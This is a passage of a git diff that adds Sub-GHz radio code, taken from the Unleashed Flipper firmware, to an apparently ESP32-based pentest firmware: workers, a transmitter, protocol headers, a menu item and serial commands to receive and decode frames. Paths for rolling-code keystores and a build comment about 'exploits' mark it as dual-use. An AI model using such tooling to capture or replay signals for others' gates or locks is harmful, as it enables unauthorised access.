+                        SUBGHZ_TXRX_WORKER_TIMEOUT_READ_WRITE_BUF);
+                    if(callback_rx) {
+                        instance->callback_have_read(instance->context_have_read);
+                        callback_rx = false;
+                    }
+                } else {
+                    //TODO FL-3555: RX buffer overflow
+                }
+            }
+        }
+
+        if(timeout_tx) timeout_tx--;
+        furi_delay_tick(1);
+    }
+
+    subghz_devices_sleep(instance->device);
+    subghz_devices_end(instance->device);
+
+    FURI_LOG_I(TAG, "Worker stop");
+    return 0;
+}
+
+SubGhzTxRxWorker* subghz_tx_rx_worker_alloc(void) {
+    SubGhzTxRxWorker* instance = malloc(sizeof(SubGhzTxRxWorker));
+
+    instance->thread =
+        furi_thread_alloc_ex("SubGhzTxRxWorker", 2048, subghz_tx_rx_worker_thread, instance);
+    instance->stream_tx =
+        furi_stream_buffer_alloc(sizeof(uint8_t) * SUBGHZ_TXRX_WORKER_BUF_SIZE, sizeof(uint8_t));
+    instance->stream_rx =
+        furi_stream_buffer_alloc(sizeof(uint8_t) * SUBGHZ_TXRX_WORKER_BUF_SIZE, sizeof(uint8_t));
+
+    instance->status = SubGhzTxRxWorkerStatusIDLE;
+    instance->worker_stopping = true;
+
+    return instance;
+}
+
+void subghz_tx_rx_worker_free(SubGhzTxRxWorker* instance) {
+    furi_check(instance);
+    furi_check(!instance->worker_running);
+    furi_stream_buffer_free(instance->stream_tx);
+    furi_stream_buffer_free(instance->stream_rx);
+    furi_thread_free(instance->thread);
+
+    free(instance);
+}
+
+bool subghz_tx_rx_worker_start(
+    SubGhzTxRxWorker* instance,
+    const SubGhzDevice* device,
+    uint32_t frequency) {
+    furi_check(instance);
+    furi_check(!instance->worker_running);
+    bool res = false;
+    furi_stream_buffer_reset(instance->stream_tx);
+    furi_stream_buffer_reset(instance->stream_rx);
+
+    instance->worker_running = true;
+
+    if(furi_hal_subghz_is_tx_allowed(frequency)) {
+        instance->frequency = frequency;
+        instance->device = device;
+        res = true;
+    }
+
+    furi_thread_start(instance->thread);
+
+    return res;
+}
+
+void subghz_tx_rx_worker_stop(SubGhzTxRxWorker* instance) {
+    furi_check(instance);
+    furi_check(instance->worker_running);
+
+    instance->worker_running = false;
+
+    furi_thread_join(instance->thread);
+}
+
+bool subghz_tx_rx_worker_is_running(SubGhzTxRxWorker* instance) {
+    furi_check(instance);
+    return instance->worker_running;
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/subghz_tx_rx_worker.h b/lib/subghz_unleashed_vendor/src/subghz/subghz_tx_rx_worker.h
new file mode 100644
index 000000000..a8d547ab2
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/subghz_tx_rx_worker.h
@@ -0,0 +1,94 @@
+#pragma once
+
+#include <furi_hal.h>
+#include <devices/devices.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef void (*SubGhzTxRxWorkerCallbackHaveRead)(void* context);
+
+typedef struct SubGhzTxRxWorker SubGhzTxRxWorker;
+
+typedef enum {
+    SubGhzTxRxWorkerStatusIDLE,
+    SubGhzTxRxWorkerStatusTx,
+    SubGhzTxRxWorkerStatusRx,
+} SubGhzTxRxWorkerStatus;
+
+/** 
+ * SubGhzTxRxWorker, add data to transfer
+ * @param instance  Pointer to a SubGhzTxRxWorker instance
+ * @param data      *data
+ * @param size      data size
+ * @return bool     true if ok
+ */
+bool subghz_tx_rx_worker_write(SubGhzTxRxWorker* instance, uint8_t* data, size_t size);
+
+/** 
+ * SubGhzTxRxWorker, get available data
+ * @param instance   Pointer to a SubGhzTxRxWorker instance
+ * @return size_t    data size
+ */
+size_t subghz_tx_rx_worker_available(SubGhzTxRxWorker* instance);
+
+/** 
+ * SubGhzTxRxWorker, read data
+ * @param instance   Pointer to a SubGhzTxRxWorker instance
+ * @param data       *data
+ * @param size       max data size, which can be read
+ * @return size_t    data size, how much is actually read
+ */
+size_t subghz_tx_rx_worker_read(SubGhzTxRxWorker* instance, uint8_t* data, size_t size);
+
+/** 
+ * Сallback SubGhzTxRxWorker when there is data to read in an empty buffer
+ * @param instance Pointer to a SubGhzTxRxWorker instance
+ * @param callback SubGhzTxRxWorkerCallbackHaveRead callback
+ * @param context
+ */
+void subghz_tx_rx_worker_set_callback_have_read(
+    SubGhzTxRxWorker* instance,
+    SubGhzTxRxWorkerCallbackHaveRead callback,
+    void* context);
+
+/** 
+ * Allocate SubGhzTxRxWorker
+ * @return SubGhzTxRxWorker* Pointer to a SubGhzTxRxWorker instance
+ */
+SubGhzTxRxWorker* subghz_tx_rx_worker_alloc(void);
+
+/** 
+ * Free SubGhzTxRxWorker
+ * @param instance Pointer to a SubGhzTxRxWorker instance
+ */
+void subghz_tx_rx_worker_free(SubGhzTxRxWorker* instance);
+
+/** 
+ * Start SubGhzTxRxWorker
+ * @param instance Pointer to a SubGhzTxRxWorker instance
+ * @param device Pointer to a SubGhzDevice instance
+ * @return bool - true if ok
+ */
+bool subghz_tx_rx_worker_start(
+    SubGhzTxRxWorker* instance,
+    const SubGhzDevice* device,
+    uint32_t frequency);
+
+/** 
+ * Stop SubGhzTxRxWorker
+ * @param instance Pointer to a SubGhzTxRxWorker instance
+ */
+void subghz_tx_rx_worker_stop(SubGhzTxRxWorker* instance);
+
+/** 
+ * Check if worker is running
+ * @param instance Pointer to a SubGhzTxRxWorker instance
+ * @return bool - true if running
+ */
+bool subghz_tx_rx_worker_is_running(SubGhzTxRxWorker* instance);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/subghz_worker.c b/lib/subghz_unleashed_vendor/src/subghz/subghz_worker.c
new file mode 100644
index 000000000..a771d1d19
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/subghz_worker.c
@@ -0,0 +1,149 @@
+#include "subghz_worker.h"
+
+#include <furi.h>
+
+#define TAG "SubGhzWorker"
+
+struct SubGhzWorker {
+    FuriThread* thread;
+    FuriStreamBuffer* stream;
+
+    volatile bool running;
+    volatile bool overrun;
+
+    LevelDuration filter_level_duration;
+    uint16_t filter_duration;
+
+    SubGhzWorkerOverrunCallback overrun_callback;
+    SubGhzWorkerPairCallback pair_callback;
+    void* context;
+};
+
+/** Rx callback timer
+ * 
+ * @param level received signal level
+ * @param duration received signal duration
+ * @param context 
+ */
+void subghz_worker_rx_callback(bool level, uint32_t duration, void* context) {
+    SubGhzWorker* instance = context;
+
+    LevelDuration level_duration = level_duration_make(level, duration);
+    if(instance->overrun) {
+        instance->overrun = false;
+        level_duration = level_duration_reset();
+    }
+    size_t ret =
+        furi_stream_buffer_send(instance->stream, &level_duration, sizeof(LevelDuration), 0);
+    if(sizeof(LevelDuration) != ret) instance->overrun = true;
+}
+
+/** Worker callback thread
+ * 
+ * @param context 
+ * @return exit code 
+ */
+static int32_t subghz_worker_thread_callback(void* context) {
+    SubGhzWorker* instance = context;
+
+    LevelDuration level_duration;
+    while(instance->running) {
+        int ret = furi_stream_buffer_receive(
+            instance->stream, &level_duration, sizeof(LevelDuration), 10);
+        if(ret == sizeof(LevelDuration)) {
+            if(level_duration_is_reset(level_duration)) {
+                FURI_LOG_E(TAG, "Overrun buffer");
+                if(instance->overrun_callback) instance->overrun_callback(instance->context);
+            } else {
+                bool level = level_duration_get_level(level_duration);
+                uint32_t duration = level_duration_get_duration(level_duration);
+
+                if((duration < instance->filter_duration) ||
+                   (instance->filter_level_duration.level == level)) {
+                    instance->filter_level_duration.duration += duration;
+
+                } else if(instance->filter_level_duration.level != level) {
+                    if(instance->pair_callback)
+                        instance->pair_callback(
+                            instance->context,
+                            instance->filter_level_duration.level,
+                            instance->filter_level_duration.duration);
+
+                    instance->filter_level_duration.duration = duration;
+                    instance->filter_level_duration.level = level;
+                }
+            }
+        }
+    }
+
+    return 0;
+}
+
+SubGhzWorker* subghz_worker_alloc(void) {
+    SubGhzWorker* instance = malloc(sizeof(SubGhzWorker));
+
+    instance->thread =
+        furi_thread_alloc_ex("SubGhzWorker", 2048, subghz_worker_thread_callback, instance);
+
+    instance->stream =
+        furi_stream_buffer_alloc(sizeof(LevelDuration) * 4096, sizeof(LevelDuration));
+
+    //setting default filter in us
+    instance->filter_duration = 30;
+
+    return instance;
+}
+
+void subghz_worker_free(SubGhzWorker* instance) {
+    furi_check(instance);
+
+    furi_stream_buffer_free(instance->stream);
+    furi_thread_free(instance->thread);
+
+    free(instance);
+}
+
+void subghz_worker_set_overrun_callback(
+    SubGhzWorker* instance,
+    SubGhzWorkerOverrunCallback callback) {
+    furi_check(instance);
+    instance->overrun_callback = callback;
+}
+
+void subghz_worker_set_pair_callback(SubGhzWorker* instance, SubGhzWorkerPairCallback callback) {
+    furi_check(instance);
+    instance->pair_callback = callback;
+}
+
+void subghz_worker_set_context(SubGhzWorker* instance, void* context) {
+    furi_check(instance);
+    instance->context = context;
+}
+
+void subghz_worker_start(SubGhzWorker* instance) {
+    furi_check(instance);
+    furi_check(!instance->running);
+
+    instance->running = true;
+
+    furi_thread_start(instance->thread);
+}
+
+void subghz_worker_stop(SubGhzWorker* instance) {
+    furi_check(instance);
+    furi_check(instance->running);
+
+    instance->running = false;
+
+    furi_thread_join(instance->thread);
+}
+
+bool subghz_worker_is_running(SubGhzWorker* instance) {
+    furi_check(instance);
+    return instance->running;
+}
+
+void subghz_worker_set_filter(SubGhzWorker* instance, uint16_t timeout) {
+    furi_check(instance);
+    instance->filter_duration = timeout;
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/subghz_worker.h b/lib/subghz_unleashed_vendor/src/subghz/subghz_worker.h
new file mode 100644
index 000000000..87ea3fc7c
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/subghz_worker.h
@@ -0,0 +1,80 @@
+#pragma once
+
+#include <furi_hal.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct SubGhzWorker SubGhzWorker;
+
+typedef void (*SubGhzWorkerOverrunCallback)(void* context);
+
+typedef void (*SubGhzWorkerPairCallback)(void* context, bool level, uint32_t duration);
+
+void subghz_worker_rx_callback(bool level, uint32_t duration, void* context);
+
+/** 
+ * Allocate SubGhzWorker.
+ * @return SubGhzWorker* Pointer to a SubGhzWorker instance
+ */
+SubGhzWorker* subghz_worker_alloc(void);
+
+/** 
+ * Free SubGhzWorker.
+ * @param instance Pointer to a SubGhzWorker instance
+ */
+void subghz_worker_free(SubGhzWorker* instance);
+
+/** 
+ * Overrun callback SubGhzWorker.
+ * @param instance Pointer to a SubGhzWorker instance
+ * @param callback SubGhzWorkerOverrunCallback callback
+ */
+void subghz_worker_set_overrun_callback(
+    SubGhzWorker* instance,
+    SubGhzWorkerOverrunCallback callback);
+
+/** 
+ * Pair callback SubGhzWorker.
+ * @param instance Pointer to a SubGhzWorker instance
+ * @param callback SubGhzWorkerOverrunCallback callback
+ */
+void subghz_worker_set_pair_callback(SubGhzWorker* instance, SubGhzWorkerPairCallback callback);
+
+/** 
+ * Context callback SubGhzWorker.
+ * @param instance Pointer to a SubGhzWorker instance
+ * @param context 
+ */
+void subghz_worker_set_context(SubGhzWorker* instance, void* context);
+
+/** 
+ * Start SubGhzWorker.
+ * @param instance Pointer to a SubGhzWorker instance
+ */
+void subghz_worker_start(SubGhzWorker* instance);
+
+/** Stop SubGhzWorker
+ * @param instance Pointer to a SubGhzWorker instance
+ */
+void subghz_worker_stop(SubGhzWorker* instance);
+
+/** 
+ * Check if worker is running.
+ * @param instance Pointer to a SubGhzWorker instance
+ * @return bool - true if running
+ */
+bool subghz_worker_is_running(SubGhzWorker* instance);
+
+/** 
+ * Short duration filter setting.
+ * glues short durations into 1. The default setting is 30 us, if set to 0 the filter will be disabled
+ * @param instance Pointer to a SubGhzWorker instance
+ * @param timeout time in us
+ */
+void subghz_worker_set_filter(SubGhzWorker* instance, uint16_t timeout);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/transmitter.c b/lib/subghz_unleashed_vendor/src/subghz/transmitter.c
new file mode 100644
index 000000000..20247d339
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/transmitter.c
@@ -0,0 +1,64 @@
+#include "transmitter.h"
+
+#include "protocols/base.h"
+#include "registry.h"
+
+struct SubGhzTransmitter {
+    const SubGhzProtocol* protocol;
+    SubGhzProtocolEncoderBase* protocol_instance;
+};
+
+SubGhzTransmitter*
+    subghz_transmitter_alloc_init(SubGhzEnvironment* environment, const char* protocol_name) {
+    SubGhzTransmitter* instance = NULL;
+    const SubGhzProtocolRegistry* protocol_registry_items =
+        subghz_environment_get_protocol_registry(environment);
+
+    const SubGhzProtocol* protocol =
+        subghz_protocol_registry_get_by_name(protocol_registry_items, protocol_name);
+
+    if(protocol && protocol->encoder && protocol->encoder->alloc) {
+        instance = malloc(sizeof(SubGhzTransmitter));
+        instance->protocol = protocol;
+        instance->protocol_instance = instance->protocol->encoder->alloc(environment);
+    }
+    return instance;
+}
+
+void subghz_transmitter_free(SubGhzTransmitter* instance) {
+    furi_check(instance);
+    instance->protocol->encoder->free(instance->protocol_instance);
+    free(instance);
+}
+
+SubGhzProtocolEncoderBase* subghz_transmitter_get_protocol_instance(SubGhzTransmitter* instance) {
+    furi_check(instance);
+    return instance->protocol_instance;
+}
+
+bool subghz_transmitter_stop(SubGhzTransmitter* instance) {
+    furi_check(instance);
+    bool ret = false;
+    if(instance->protocol && instance->protocol->encoder && instance->protocol->encoder->stop) {
+        instance->protocol->encoder->stop(instance->protocol_instance);
+        ret = true;
+    }
+    return ret;
+}
+
+SubGhzProtocolStatus
+    subghz_transmitter_deserialize(SubGhzTransmitter* instance, FlipperFormat* flipper_format) {
+    furi_check(instance);
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    if(instance->protocol && instance->protocol->encoder &&
+       instance->protocol->encoder->deserialize) {
+        ret =
+            instance->protocol->encoder->deserialize(instance->protocol_instance, flipper_format);
+    }
+    return ret;
+}
+
+LevelDuration subghz_transmitter_yield(void* context) {
+    SubGhzTransmitter* instance = context;
+    return instance->protocol->encoder->yield(instance->protocol_instance);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/transmitter.h b/lib/subghz_unleashed_vendor/src/subghz/transmitter.h
new file mode 100644
index 000000000..a1c4cda08
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/transmitter.h
@@ -0,0 +1,56 @@
+#pragma once
+
+#include "types.h"
+#include "environment.h"
+#include "protocols/base.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct SubGhzTransmitter SubGhzTransmitter;
+
+/**
+ * Allocate and init SubGhzTransmitter.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzTransmitter* pointer to a SubGhzTransmitter instance
+ */
+SubGhzTransmitter*
+    subghz_transmitter_alloc_init(SubGhzEnvironment* environment, const char* protocol_name);
+
+/**
+ * Free SubGhzTransmitter.
+ * @param instance Pointer to a SubGhzTransmitter instance
+ */
+void subghz_transmitter_free(SubGhzTransmitter* instance);
+
+/** Get protocol instance.
+ * @param instance Pointer to a SubGhzTransmitter instance
+ */
+SubGhzProtocolEncoderBase* subghz_transmitter_get_protocol_instance(SubGhzTransmitter* instance);
+
+/**
+ * Forced transmission stop.
+ * @param instance Pointer to a SubGhzTransmitter instance
+ */
+bool subghz_transmitter_stop(SubGhzTransmitter* instance);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param instance Pointer to a SubGhzTransmitter instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_transmitter_deserialize(SubGhzTransmitter* instance, FlipperFormat* flipper_format);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzTransmitter instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_transmitter_yield(void* context);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/types.h b/lib/subghz_unleashed_vendor/src/subghz/types.h
new file mode 100644
index 000000000..3c962730a
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/types.h
@@ -0,0 +1,142 @@
+#pragma once
+
+#include <stdbool.h>
+#include <stdint.h>
+#include <stddef.h>
+
+#include <lib/flipper_format/flipper_format.h>
+#include <lib/toolbox/level_duration.h>
+
+#include "environment.h"
+#include <furi.h>
+#include <furi_hal.h>
+
+#define SUBGHZ_APP_FOLDER             EXT_PATH("subghz")
+#define SUBGHZ_RAW_FOLDER             EXT_PATH("subghz")
+#define SUBGHZ_APP_FILENAME_PREFIX    "SubGHz"
+#define SUBGHZ_APP_FILENAME_EXTENSION ".sub"
+
+#define SUBGHZ_KEY_FILE_VERSION 1
+#define SUBGHZ_KEY_FILE_TYPE    "Flipper SubGhz Key File"
+
+#define SUBGHZ_RAW_FILE_VERSION 1
+#define SUBGHZ_RAW_FILE_TYPE    "Flipper SubGhz RAW File"
+
+#define SUBGHZ_KEYSTORE_DIR_NAME      EXT_PATH("subghz/assets/keeloq_mfcodes")
+#define SUBGHZ_KEYSTORE_DIR_USER_NAME EXT_PATH("subghz/assets/keeloq_mfcodes_user")
+#define SUBGHZ_CAME_ATOMO_DIR_NAME    EXT_PATH("subghz/assets/came_atomo")
+#define SUBGHZ_NICE_FLOR_S_DIR_NAME   EXT_PATH("subghz/assets/nice_flor_s")
+#define SUBGHZ_ALUTECH_AT_4N_DIR_NAME EXT_PATH("subghz/assets/alutech_at_4n")
+
+typedef struct SubGhzProtocolRegistry SubGhzProtocolRegistry;
+typedef struct SubGhzEnvironment SubGhzEnvironment;
+
+// Radio Preset
+typedef struct {
+    FuriString* name;
+    uint32_t frequency;
+    uint8_t* data;
+    size_t data_size;
+} SubGhzRadioPreset;
+
+typedef enum {
+    SubGhzProtocolStatusOk = 0,
+    // Errors
+    SubGhzProtocolStatusError = (-1), ///< General unclassified error
+    // Serialize/De-serialize
+    SubGhzProtocolStatusErrorParserHeader = (-2), ///< Missing or invalid file header
+    SubGhzProtocolStatusErrorParserFrequency = (-3), ///< Missing `Frequency`
+    SubGhzProtocolStatusErrorParserPreset = (-4), ///< Missing `Preset`
+    SubGhzProtocolStatusErrorParserCustomPreset = (-5), ///< Missing `Custom_preset_module`
+    SubGhzProtocolStatusErrorParserProtocolName = (-6), ///< Missing `Protocol` name
+    SubGhzProtocolStatusErrorParserBitCount = (-7), ///< Missing `Bit`
+    SubGhzProtocolStatusErrorParserKey = (-8), ///< Missing `Key`
+    SubGhzProtocolStatusErrorParserTe = (-9), ///< Missing `Te`
+    SubGhzProtocolStatusErrorParserOthers = (-10), ///< Missing some other mandatory keys
+    // Invalid data
+    SubGhzProtocolStatusErrorValueBitCount = (-11), ///< Invalid bit count value
+    // Encoder issue
+    SubGhzProtocolStatusErrorEncoderGetUpload = (-12), ///< Payload encoder failure
+    // Special Values
+    SubGhzProtocolStatusErrorProtocolNotFound = (-13), ///< Protocol not found
+    SubGhzProtocolStatusReserved = 0x7FFFFFFF, ///< Prevents enum down-size compiler optimization.
+} SubGhzProtocolStatus;
+
+// Allocator and Deallocator
+typedef void* (*SubGhzAlloc)(SubGhzEnvironment* environment);
+typedef void (*SubGhzFree)(void* context);
+
+// Serialize and Deserialize
+typedef SubGhzProtocolStatus (
+    *SubGhzSerialize)(void* context, FlipperFormat* flipper_format, SubGhzRadioPreset* preset);
+typedef SubGhzProtocolStatus (*SubGhzDeserialize)(void* context, FlipperFormat* flipper_format);
+
+// Decoder specific
+typedef void (*SubGhzDecoderFeed)(void* decoder, bool level, uint32_t duration);
+typedef void (*SubGhzDecoderReset)(void* decoder);
+typedef uint8_t (*SubGhzGetHashData)(void* decoder);
+typedef void (*SubGhzGetString)(void* decoder, FuriString* output);
+
+// Encoder specific
+typedef void (*SubGhzEncoderStop)(void* encoder);
+typedef LevelDuration (*SubGhzEncoderYield)(void* context);
+
+typedef struct {
+    SubGhzAlloc alloc;
+    SubGhzFree free;
+
+    SubGhzDecoderFeed feed;
+    SubGhzDecoderReset reset;
+
+    SubGhzGetHashData get_hash_data;
+    SubGhzGetString get_string;
+    SubGhzSerialize serialize;
+    SubGhzDeserialize deserialize;
+} SubGhzProtocolDecoder;
+
+typedef struct {
+    SubGhzAlloc alloc;
+    SubGhzFree free;
+
+    SubGhzDeserialize deserialize;
+    SubGhzEncoderStop stop;
+    SubGhzEncoderYield yield;
+} SubGhzProtocolEncoder;
+
+typedef enum {
+    SubGhzProtocolTypeUnknown = 0,
+    SubGhzProtocolTypeStatic,
+    SubGhzProtocolTypeDynamic,
+    SubGhzProtocolTypeRAW,
+    SubGhzProtocolWeatherStation,
+    SubGhzProtocolCustom,
+    SubGhzProtocolTypeBinRAW,
+} SubGhzProtocolType;
+
+typedef enum {
+    SubGhzProtocolFlag_RAW = (1 << 0),
+    SubGhzProtocolFlag_Decodable = (1 << 1),
+    SubGhzProtocolFlag_315 = (1 << 2),
+    SubGhzProtocolFlag_433 = (1 << 3),
+    SubGhzProtocolFlag_868 = (1 << 4),
+    SubGhzProtocolFlag_AM = (1 << 5),
+    SubGhzProtocolFlag_FM = (1 << 6),
+    SubGhzProtocolFlag_Save = (1 << 7),
+    SubGhzProtocolFlag_Load = (1 << 8),
+    SubGhzProtocolFlag_Send = (1 << 9),
+    SubGhzProtocolFlag_BinRAW = (1 << 10),
+    SubGhzProtocolFlag_ReversRB2 = (1 << 11),
+    SubGhzProtocolFlag_Alarms = (1 << 12),
+    SubGhzProtocolFlag_Sensors = (1 << 13),
+    SubGhzProtocolFlag_Princeton = (1 << 14),
+    SubGhzProtocolFlag_NiceFlorS = (1 << 15),
+} SubGhzProtocolFlag;
+
+struct SubGhzProtocol {
+    const char* name;
+    SubGhzProtocolType type;
+    SubGhzProtocolFlag flag;
+
+    const SubGhzProtocolEncoder* encoder;
+    const SubGhzProtocolDecoder* decoder;
+};
diff --git a/platformio.ini b/platformio.ini
index 0ae3c1bb9..7c5085137 100644
--- a/platformio.ini
+++ b/platformio.ini
@@ -134,6 +134,7 @@ build_flags =
 	-DCONFIG_ASYNC_TCP_RUNNING_CORE=1  ;
 	-DCONFIG_ASYNC_TCP_USE_WDT=0	   ; Disables the Watchdog timer on Async TCP, to avoid restartings during file uploads
 	-DGEN_MQJS_HEADERS		; Enable generation of mquickjs headers
+	-DSUBGHZ_ADV_PROFILE_CORE=1
 	; mbedtls settings for crypto operations (WhisperPair/audio exploits)
 	-DMBEDTLS_CONFIG_FILE=\"mbedtls/esp_config.h\"
 	-DCONFIG_MBEDTLS_ECDH_C=1
diff --git a/ref/.DS_Store b/ref/.DS_Store
new file mode 100644
index 0000000000000000000000000000000000000000..bed6c06eee271ba272559ce3d681abd6819edb12
GIT binary patch
literal 6148
zcmeHK!AiqG5S@(`QoR&U9`^@4^yGCd5%k<2&^E0V5>qNgyaoIS!T%6HK|jNv@T_lk
zhH8mI@E}rVVD@ch=j|qMLncc^Zm`VzL_H!(;fzTa%{Rv5><vpavJG@`j&r)E8BHjs
zgGROm{-XlCcYCy?D=M&WU-xfHm$aagZV+A2<g}>9qoNuipI?>}_~Cmr^jgkQT=a+I
zs+=>S`;^?a<&{;I>DuYT+x_F~%kxotZvJcTeD-<2J9m87W~P8CU<z!60;t(+>8_x)
zrhqA63ak|1?}LXk2E|%1emc;^BLJ|2a5VJ!_mDYWF(}r87=byV0)^`Ih~b2exYxX(
zSPKfBoE|=$uI%)L;^OL<-^X-vLC{)Lz!X?lU`sB0T>p=MKL4+i?8+1{1vW|n*U5(2
z0FR`#wefIVYd!o7&c=DQ;EIAyEXBy>QoIk3hPdYrFeui7h`{VeAj)8kDe$KXd;nKJ
BR15$B

literal 0
HcmV?d00001

diff --git a/ref/unleashed-firmware b/ref/unleashed-firmware
new file mode 160000
index 000000000..823607912
--- /dev/null
+++ b/ref/unleashed-firmware
@@ -0,0 +1 @@
+Subproject commit 8236079122d9a48681946567f30f60f9bdf834c8
diff --git a/src/core/main_menu.cpp b/src/core/main_menu.cpp
index 4dcbbdaff..582d7fd93 100644
--- a/src/core/main_menu.cpp
+++ b/src/core/main_menu.cpp
@@ -11,6 +11,7 @@ MainMenu::MainMenu() {
         &ethernetMenu,
 #endif
         &rfMenu,
+        &subGhzMenu,
         &rfidMenu,
         &irMenu,
 #if defined(FM_SI4713) && !defined(LITE_VERSION)
diff --git a/src/core/main_menu.h b/src/core/main_menu.h
index ce28f98b2..f984b37d5 100644
--- a/src/core/main_menu.h
+++ b/src/core/main_menu.h
@@ -18,6 +18,7 @@
 #include "menu_items/RFIDMenu.h"
 #include "menu_items/RFMenu.h"
 #include "menu_items/ScriptsMenu.h"
+#include "menu_items/SubGHZMenu.h"
 #include "menu_items/WifiMenu.h"
 #include "menu_items/AppsMenu.h"
 class MainMenu {
@@ -35,6 +36,7 @@ class MainMenu {
     OthersMenu othersMenu;
     RFIDMenu rfidMenu;
     RFMenu rfMenu;
+    SubGHZMenu subGhzMenu;
     ScriptsMenu scriptsMenu;
     WifiMenu wifiMenu;
 #if !defined(LITE_VERSION)
diff --git a/src/core/menu_items/SubGHZMenu.cpp b/src/core/menu_items/SubGHZMenu.cpp
new file mode 100644
index 000000000..30e1fff9c
--- /dev/null
+++ b/src/core/menu_items/SubGHZMenu.cpp
@@ -0,0 +1,48 @@
+#include "SubGHZMenu.h"
+
+#include "core/display.h"
+#include "modules/subghz_advanced/subghz_advanced_menu.h"
+
+void SubGHZMenu::optionsMenu() { subghz_advanced_menu(); }
+
+void SubGHZMenu::drawIcon(float scale) {
+    clearIconArea();
+
+    int cx = iconCenterX;
+    int cy = iconCenterY;
+
+    int base = scale * 6;
+    int step = scale * 8;
+
+    // Antenna mast
+    tft.fillRect(cx - base / 6, cy + base / 3, base / 3, base * 2, bruceConfig.priColor);
+
+    // Beacon head
+    tft.fillCircle(cx, cy, base / 2, bruceConfig.priColor);
+
+    // Left arcs
+    tft.drawArc(cx, cy, base + step, base + step - 2, 40, 140, bruceConfig.priColor, bruceConfig.bgColor);
+    tft.drawArc(
+        cx,
+        cy,
+        base + step * 2,
+        base + step * 2 - 2,
+        40,
+        140,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+
+    // Right arcs
+    tft.drawArc(cx, cy, base + step, base + step - 2, 220, 320, bruceConfig.priColor, bruceConfig.bgColor);
+    tft.drawArc(
+        cx,
+        cy,
+        base + step * 2,
+        base + step * 2 - 2,
+        220,
+        320,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+}
diff --git a/src/core/menu_items/SubGHZMenu.h b/src/core/menu_items/SubGHZMenu.h
new file mode 100644
index 000000000..050148642
--- /dev/null
+++ b/src/core/menu_items/SubGHZMenu.h
@@ -0,0 +1,16 @@
+#ifndef __SUBGHZ_MENU_H__
+#define __SUBGHZ_MENU_H__
+
+#include <MenuItemInterface.h>
+
+class SubGHZMenu : public MenuItemInterface {
+public:
+    SubGHZMenu() : MenuItemInterface("SubGHz") {}
+
+    void optionsMenu(void);
+    void drawIcon(float scale);
+    bool hasTheme() { return bruceConfig.theme.subghz; }
+    String themePath() { return bruceConfig.theme.paths.subghz; }
+};
+
+#endif
diff --git a/src/core/serial_commands/cli.cpp b/src/core/serial_commands/cli.cpp
index a4d447867..94b08956c 100644
--- a/src/core/serial_commands/cli.cpp
+++ b/src/core/serial_commands/cli.cpp
@@ -11,6 +11,7 @@
 #include "settings_commands.h"
 #include "sound_commands.h"
 #include "storage_commands.h"
+#include "subghz_advanced_commands.h"
 #include "util_commands.h"
 #include "wifi_commands.h"
 #include <globals.h>
@@ -38,6 +39,7 @@ void SerialCli::setup() {
     createIrCommands(&_cli);
     createPowerCommands(&_cli);
     createRfCommands(&_cli);
+    createSubGhzAdvancedCommands(&_cli);
     createSettingsCommands(&_cli);
     createStorageCommands(&_cli);
     createUtilCommands(&_cli);
diff --git a/src/core/serial_commands/subghz_advanced_commands.cpp b/src/core/serial_commands/subghz_advanced_commands.cpp
new file mode 100644
index 000000000..a10ea95d6
--- /dev/null
+++ b/src/core/serial_commands/subghz_advanced_commands.cpp
@@ -0,0 +1,78 @@
+#include "subghz_advanced_commands.h"
+
+#include "modules/subghz_advanced/subghz_advanced_engine.h"
+
+#include <globals.h>
+
+static uint32_t subghzAdvRxCallback(cmd* c) {
+    Command cmd(c);
+
+    float freqMhz = bruceConfigPins.rfFreq;
+    int timeout = 10;
+
+    Argument freqArg = cmd.getArgument("frequency");
+    if(freqArg.isSet()) {
+        String s = freqArg.getValue();
+        s.trim();
+        if(s.length()) {
+            double v = strtod(s.c_str(), NULL);
+            // Accept both "433.92" (MHz) and "433920000" (Hz)
+            if(v > 1000000.0) freqMhz = (float)(v / 1000000.0);
+            else if(v > 0.0) freqMhz = (float)v;
+        }
+    }
+
+    Argument timeoutArg = cmd.getArgument("timeout");
+    if(timeoutArg.isSet()) {
+        String s = timeoutArg.getValue();
+        s.trim();
+        if(s.length()) {
+            int parsed = s.toInt();
+            if(parsed > 0) timeout = parsed;
+        }
+    }
+
+    SubGhzAdvancedFrame frame;
+    bool ok = SubGhzAdvancedEngine::instance().readAndDecode(freqMhz, timeout, frame);
+    if(!ok) {
+        serialDevice->println("{}");
+        return false;
+    }
+
+    serialDevice->println(frame.toJson());
+    return true;
+}
+
+static uint32_t subghzAdvAnalyzeFileCallback(cmd* c) {
+    Command cmd(c);
+    Argument pathArg = cmd.getArgument("filepath");
+
+    String path = pathArg.getValue();
+    path.trim();
+
+    if(path.length() == 0) {
+        serialDevice->println("{}");
+        return false;
+    }
+
+    SubGhzAdvancedFrame frame;
+    bool ok = SubGhzAdvancedEngine::instance().analyzePathAuto(path, frame);
+    if(!ok) {
+        serialDevice->println("{}");
+        return false;
+    }
+
+    serialDevice->println(frame.toJson());
+    return true;
+}
+
